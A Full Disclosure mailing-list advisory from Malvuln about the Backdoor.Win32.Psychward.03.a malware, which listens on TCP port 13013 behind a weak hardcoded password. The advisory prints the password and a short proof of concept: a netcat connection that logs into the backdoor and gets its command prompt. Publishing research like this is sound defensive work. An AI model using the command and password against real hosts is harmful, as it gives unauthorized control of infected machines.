full-disclosure - [FD] Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

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Date: Mon, 18 Apr 2022 21:30:06 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/4b9a42ca1e65cf0a7febbe18f397ef24.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 13013. Authentication is
required, however the password "m4sturb4t10n" is weak and hardcoded in
cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 4b9a42ca1e65cf0a7febbe18f397ef24
Vuln ID: MVID-2022-0558
Dropped files: winvxd.exe
Disclosure: 04/18/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 13013
pwd m4sturb4t10n m4sturb4t10n
psychward revised 0.3, awaiting your command

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